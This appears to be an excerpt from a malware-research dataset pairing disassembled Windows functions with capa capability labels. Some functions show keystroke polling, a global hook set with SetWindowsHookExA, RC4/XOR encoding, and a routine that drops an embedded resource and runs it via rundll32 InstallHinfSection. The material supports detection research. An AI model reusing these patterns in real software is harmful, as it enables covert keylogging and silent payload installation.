joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449498
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x449643
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x449624
mov dl, 1
mov eax, dword [0x4115f4]
call fcn.004030a8
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403e10
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x449613
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004374cc
test al, al
je 0x449606
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x449654
lea eax, [ebp - 0x254]
call fcn.0040878c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x449606
xor eax, eax
push ebp
push 0x4495ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44968c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4495e8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4495e8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404080
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449606
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x449509
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004150d0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44964a
lea eax, [ebp - 0x260]
call fcn.00403e10
ret

Function at 0x449f78
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x452bb0]
cmp byte [eax + 0xa5], 0
jne 0x449fe9
cmp dword [0x452bc8], 0
jne 0x449faa
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x449f34
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x452bc8], eax
cmp dword [0x452bc4], 0
jne 0x449fc5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x452bc4], eax
cmp dword [0x452bcc], 0
jne 0x449fe9
push esp
push 0
push 0
push 0x449ed8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x452bcc], eax
pop edx
ret
Function at 0x44a0e0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44a0f7
add esp, 0xfffffff0
call fcn.004033e4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00418ee0
mov eax, dword [0x450f94]
cmp word [eax + 2], 0
jne 0x44a11f
mov eax, dword [0x450f94]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044b7b8
mov eax, dword [0x451040]
cmp word [eax + 2], 0
jne 0x44a139
mov eax, dword [0x451040]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044b9b0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4111d8]
call fcn.004030a8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4111d8]
call fcn.004030a8
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b0c4]
call fcn.004210f4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44a2c0
mov eax, dword [0x450eb8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004214c4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44bf50
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x450eb8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040bdc8
test eax, eax
je 0x44a22e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408180
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040bdf0
test eax, eax
je 0x44a242
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404080
mov eax, dword [0x450dbc]
cmp byte [eax], 0
jne 0x44a276
mov eax, ebx
call fcn.0044a3e8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044c12c
mov eax, ebx
call fcn.0044caf0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44a2b6
call fcn.0040343c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44a668
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x452bb0]
cmp dword [eax + 0x30], 0
je 0x44a712
cmp dword [ebx + 0x94], 0
jne 0x44a70c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44a5f8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44a70c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44a6d2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44a70c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413540
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44a6e1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44b274
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44b2a9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f00
jmp 0x44b2b6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403e64
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44c308
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44c349
mov eax, esi
call fcn.00432cd4
test al, al
je 0x44c349
mov eax, dword [ebx + 0x84]
call fcn.004329fc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44c349
push 0
mov eax, dword [ebx + 0x84]
call fcn.004329fc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x401030
Capabilities:
Create directory
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [esp + 0x110]
push ebx
push ebp
push esi
push edi
push str.FILE
push eax
push 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x4011bb
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4011bb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x4011bb
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jbe 0x4011bb
lea edx, [esp + 0x18]
push edx
call fcn.00401000
add esp, 4
test eax, eax
je 0x4011ca
mov edi, str.VideoCodecINF
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x408044
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.Create_File:_s__n
call fcn.00401837
add esp, 8
lea ecx, [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4011bb
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea edx, [esp + 0x14]
mov edi, eax
push 0
push edx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jle 0x4011b4
cmp dword [esp + 0x14], edi
jne 0x4011b4
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x4011e0
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
sub esp, 0x184
mov ecx, 0x20
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x10]
xor ebx, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push ecx
call fcn.00401000
mov edi, str.VideoCodecINFVideoCodec.INF
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.infpath:__s_n
call fcn.00401837
add esp, 8
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401306
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x90]
lea edx, [esp + 0x90]
rep stosd dword es:[edi], eax
mov edi, str.rundll32.exe_setupapi.dll_InstallHinfSection_defaultinstall_132
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x90]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x90]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.infsetup:__s_n
call fcn.00401837
add esp, 8
lea ecx, [esp + 0x90]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
mov eax, 1
ja 0x401308
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x184
ret

Function at 0x401320
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x110]
lea eax, [esp]
push edi
xor edi, edi
push eax
push 0xf003f
push edi
push ecx
push 0x80000002
mov dword [esp + 0x18], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4013d6
push ebx
lea edx, [esp + 0xc]
push esi
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x124]
lea ecx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edi
push edx
push eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, dword [esp + 0x124]
lea eax, [esp + 0x18]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4013bb
test cl, cl
je 0x4013b7
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4013bb
add eax, 2
add esi, 2
test cl, cl
jne 0x401393
xor eax, eax
jmp 0x4013c0
sbb eax, eax
sbb eax, 0xffffffff
pop esi
pop ebx
test eax, eax
jne 0x4013cb
mov edi, 1
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
add esp, 0x10c
ret
Function at 0x4013e0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
sub esp, 0x288
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0x190]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x190]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x190]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0xc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4081a0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x114]
push 0x80
push ecx
push str.0.0.0.0
push 0x408194
push 0x40818c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [esp + 0x110]
push str.9.8.1.0
push edx
push str.Check_ini:__s___s_n
call fcn.00401837
add esp, 0xc
mov esi, str.9.8.1.0
lea eax, [esp + 0x110]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4014e8
test cl, cl
je 0x4014e4
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4014e8
add eax, 2
add esi, 2
test cl, cl
jne 0x4014c0
xor eax, eax
jmp 0x4014ed
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4014fd
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x288
ret
lea edi, [esp + 0x190]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x408160
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.Check_vfw:__s_n
call fcn.00401837
add esp, 8
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401581
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x288
ret
push 0x408140
push str.vidc.N264
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionDrivers32
call fcn.00401320
add esp, 0xc
test eax, eax
jne 0x4015a6
pop edi
pop esi
pop ebx
add esp, 0x288
ret
push 0x4080f0
push str.vidc.x264
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionDrivers32
call fcn.00401320
add esp, 0xc
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 0x288
ret
Function at 0x408040
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48095b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00474ee5
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4080c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00472c4d
mov eax, dword [eax]
push 0x4a1200
push eax
call fcn.00464e64
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00475170
test bl, bl
je 0x4080c2
push 0x4a1200
lea ecx, [esp + 0xc]
call fcn.00475500
push 0x4a4d6c
lea ecx, [esp + 0xc]
call fcn.00475500
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4080fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00475170
jmp 0x4081c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408182
lea edx, [esp + 0x7c]
push 0x4a4d68
push edx
call fcn.00464e64
add esp, 8
test eax, eax
je 0x408182
lea eax, [esp + 0x7c]
push 0x4a4d64
push eax
call fcn.00464e64
add esp, 8
test eax, eax
je 0x408182
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408112
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00475170
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4089c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x408a22
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x408a30
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4809db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b3bf0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x408b68
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x408a96
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00475170
xor eax, eax
jmp 0x408bdf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004752ad
push esi
lea ecx, [esp + 0xc]
call fcn.0047553c
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x408bbd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004089c0
test eax, eax
jne 0x408bbd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004089c0
test eax, eax
jne 0x408bbd
lea eax, [esp + 0x14]
push 0x4a4d80
push eax
call fcn.00465ee0
mov esi, eax
add esp, 8
test esi, esi
jne 0x408b9c
lea ecx, [esp + 0x14]
push 0x4a4d7c
push ecx
call fcn.00465e60
mov esi, eax
add esp, 8
test esi, esi
jne 0x408b9c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x408b9f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047525d
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x408aae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00475170
xor eax, eax
jmp 0x408bdf
mov byte [esi], 0
push 0x4a4d78
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00475170
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x418fd0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41903e
cmp si, 0x69
ja 0x41903e
add esi, 0xffd0
cmp si, 0x11
je 0x41900e
push 0x11
call edi
test ax, ax
jge 0x41900e
or esi, 0x2000
cmp si, 0x10
je 0x419023
push 0x10
call edi
test ax, ax
jge 0x419023
or esi, 0x4000
cmp si, 0x12
je 0x419038
push 0x12
call edi
test ax, ax
jge 0x419038
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41904b
mov esi, 0xbd
jmp 0x418fff
cmp si, 0x6e
jne 0x419058
mov esi, 0xbe
jmp 0x418fff
cmp si, 0x6f
jne 0x418ff9
mov esi, 0xbf
jmp 0x418fff

Function at 0x41a670
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4c4308]
xor edx, edx
cmp eax, edx
jne 0x41a696
xor eax, eax
mov byte [eax + 0x4c4208], al
inc eax
cmp eax, 0x100
jl 0x41a67e
mov dword [0x4c4308], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4c4208
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41a727
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41a6fa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41a6c8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41a7a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41a7f3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41a7da
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret